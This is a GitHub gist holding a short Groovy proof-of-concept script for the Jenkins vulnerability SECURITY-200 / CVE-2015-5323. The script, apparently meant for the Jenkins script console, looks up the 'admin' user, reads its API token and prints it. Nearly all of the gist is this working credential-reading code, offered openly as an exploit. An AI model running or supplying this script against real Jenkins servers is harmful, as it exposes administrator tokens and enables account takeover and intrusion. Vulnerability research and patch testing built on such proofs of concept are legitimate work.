Last active
February 28, 2019 00:02
-
-
Save carnal0wnage/1f316c01eaa7707c3cc6497ef04857a8 to your computer and use it in GitHub Desktop.
Jenkins - SECURITY-200 / CVE-2015-5323 PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//from: https://gist.github.com/hayderimran7/dec6a655ba671fa5b3c3 | |
import jenkins.security.* | |
//j.jenkins.setSecurityRealm(j.createDummySecurityRealm()); | |
User u = User.get("admin") | |
ApiTokenProperty t = u.getProperty(ApiTokenProperty.class) | |
def token = t.getApiToken() | |
//token.getClass() | |
println "token is $token " |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment